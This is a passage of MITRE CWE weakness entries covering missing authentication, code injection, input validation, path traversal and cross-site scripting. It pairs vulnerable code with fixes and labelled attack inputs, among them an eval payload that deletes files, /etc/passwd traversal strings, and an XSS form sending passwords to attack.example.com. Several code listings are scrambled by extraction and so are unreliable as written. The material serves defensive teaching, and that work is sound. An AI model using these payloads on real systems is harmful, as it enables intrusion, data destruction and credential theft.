Cookie: user=Administrator Cookie: loggedin=true [body of request] By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software. Example 2 In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.
Example 3 In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This can be resultant from SQL injection vulnerabilities and other issues.
Maintenance
The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
CWE-94: Improper Control of Generation of Code ('Code Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. Such an alteration could lead to arbitrary code execution. Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Interpreted (Sometimes Prevalent) Technologies AI/ML (Undetermined Prevalence) Example 1 This example attempts to write user messages to a message file and allow users to view them. (bad code)
Example Language: PHP
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") { $name = $_GET["name"]; }$message = $_GET["message"]; $handle = fopen($MessageFile, "a+"); fwrite($handle, "<b>$name</b> says '$message'<hr>\n"); fclose($handle); echo "Message Saved!<p>\n"; else if ($_GET["action"] == "ViewMessages") { include($MessageFile); }While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as: (attack code)
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E which will decode to the following: (attack code)
<?php system("/bin/ls -l");?>
The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation. Example 2 edit-config.pl: This CGI script is used to modify settings in a configuration file. (bad code)
Example Language: Perl
use CGI qw(:standard);
sub config_file_add_key { my ($fname, $key, $arg) = @_;
# code to add a field/key to a file goes here sub config_file_set_key { my ($fname, $key, $arg) = @_;
# code to set key to a particular file goes here sub config_file_delete_key { my ($fname, $key, $arg) = @_;
# code to delete key from a particular file goes here sub handleConfigAction { my ($fname, $action) = @_;
my $key = param('key'); my $val = param('val'); # this is super-efficient code, especially if you have to invoke # any one of dozens of different functions! my $code = "config_file_$action_key(\$fname, \$key, \$val);"; eval($code); $configfile = "/home/cwe/config.txt"; print header; if (defined(param('action'))) { handleConfigAction($configfile, param('action')); }else { print "No action specified!\n"; }The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: (attack code)
add_key(",","); system("/bin/ls");
This would produce the following string in handleConfigAction(): (result)
config_file_add_key(",","); system("/bin/ls");
Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated. Example 3 This simple script asks a user to supply a list of numbers as input and adds them together. (bad code)
Example Language: Python
def main():
sum = 0
main()
numbers = eval(input("Enter a space-separated list of numbers: ")) for num in numbers:
sum = sum + num
print(f"Sum of {numbers} = {sum}")
The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string: (attack code)
__import__('subprocess').getoutput('rm -r *')
This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input. A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code. (good code)
Example Language: Python
def main():
sum = 0
main()
numbers = input("Enter a space-separated list of numbers: ").split(" ") try:
for num in numbers:
except ValueError:
sum = sum + int(num)
print(f"Sum of {numbers} = {sum}")
print("Error: invalid input")
An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-20: Improper Input Validation
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution. Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.) Input validation can be applied to:
Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as:
Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation. Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation. Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Often Prevalent) Example 1 This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated. (bad code)
Example Language: Java
...
public static final double price = 20.00; int quantity = currentUser.getAttribute("quantity"); double total = price * quantity; chargeUser(total); ... The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited. Example 2 This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares. (bad code)
Example Language: C
...
#define MAX_DIM 100 ... /* board dimensions */ int m,n, error; board_square_t *board; printf("Please specify the board height: \n"); error = scanf("%d", &m); if ( EOF == error ){ die("No integer passed: Die evil hacker!\n"); }printf("Please specify the board width: \n"); error = scanf("%d", &n); if ( EOF == error ){ die("No integer passed: Die evil hacker!\n"); }if ( m > MAX_DIM || n > MAX_DIM ) { die("Value too large: Die evil hacker!\n"); }board = (board_square_t*) malloc( m * n * sizeof(board_square_t)); ... While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program. Example 3 The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage. (bad code)
Example Language: PHP
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage']; echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>" The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form: (attack code)
2009-01-09--
If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism. Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible. Example 4 The following example takes a user-supplied value to allocate an array of objects and then operates on the array. (bad code)
Example Language: Java
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){ }die("Negative value supplied for list size, die evil hacker!"); }Widget[] list = new Widget [ untrustedListSize ]; list[0] = new Widget(); This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown. Example 5 This Android application has registered to handle a URL when sent an intent: (bad code)
Example Language: Java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL"); MyReceiver receiver = new MyReceiver(); registerReceiver(receiver, filter); ... public class UrlHandlerReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) { if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length(); ... } The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. Terminology The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships. Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation. Maintenance
As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.
Maintenance Maintenance
Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterMany file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory. (bad code)
Example Language: Perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user"); my $profilePath = $dataPath . "/" . $username; open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath"); print "<ul>\n"; while (<$fh>) { print "<li>$_</li>\n"; }print "</ul>\n"; While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as: (attack code)
../../../etc/passwd
The program would generate a profile pathname like this: (result)
/users/cwe/profiles/../../../etc/passwd
When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file: (result)
/etc/passwd
As a result, the attacker could read the entire text of the password file. Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined. Example 2 In the example below, the path to a dictionary file is read from a system property and used to initialize a File object. (bad code)
Example Language: Java
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename); However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory. Example 3 The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path. (bad code)
Example Language: Perl
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///; my $filename = "/home/user/" . $Username; ReadAndSendFile($filename); Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as: (attack code)
../../../etc/passwd
will have the first "../" stripped, resulting in: (result)
../../etc/passwd
This value is then concatenated with the /home/user/ directory: (result)
/home/user/../../etc/passwd
which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23). Example 4 The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/". (bad code)
Example Language: Java
String path = getInputPath();
if (path.startsWith("/safe_dir/")) { File f = new File(path); }f.delete() An attacker could provide an input such as this: (attack code)
/safe_dir/../important.dat
The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory Example 5 The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet. (good code)
Example Language: HTML
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory. (bad code)
Example Language: Java
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");
PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header int ind = contentType.indexOf("boundary="); String boundary = contentType.substring(ind+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart form data if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); ... pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\"")); ... // output the file to the local upload directory try { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { } //end of for loopbw.write(line); }bw.newLine(); bw.flush(); bw.close(); } catch (IOException ex) {...} // output successful upload response HTML page // output unsuccessful upload response HTML page else {...} ...
This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash. Example 6 This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user. (bad code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.join(os.getcwd(), filename) try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file. (good code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}") if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent. Research Gap Research Gap Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants. Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Cross-site scripting (XSS) vulnerabilities occur when:
There are three main kinds of XSS:
Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking." In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Web Based (Often Prevalent) Example 1 The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario). (bad code)
Example Language: PHP
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>'; Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as (attack code)
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker: (attack code)
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser: (result)
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post"> Username: <input type="text" name="username" /><br/> </form>Password: <input type="password" name="password" /><br/> <input type="submit" value="Login" /> </div></div> The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability): (attack code)
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input %22+action%3D%22https%3A%2F%2Fsummer-heart-0930.chufeiyun1688.workers.dev%3A443%2Fhttp%2Fattack.example.com%2FstealPassword.php %22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text %22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A +%3Cinput+type%3D%22password%22+name%3D%22password%22 +%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22 +%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A The same attack string could also be obfuscated as: (attack code)
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
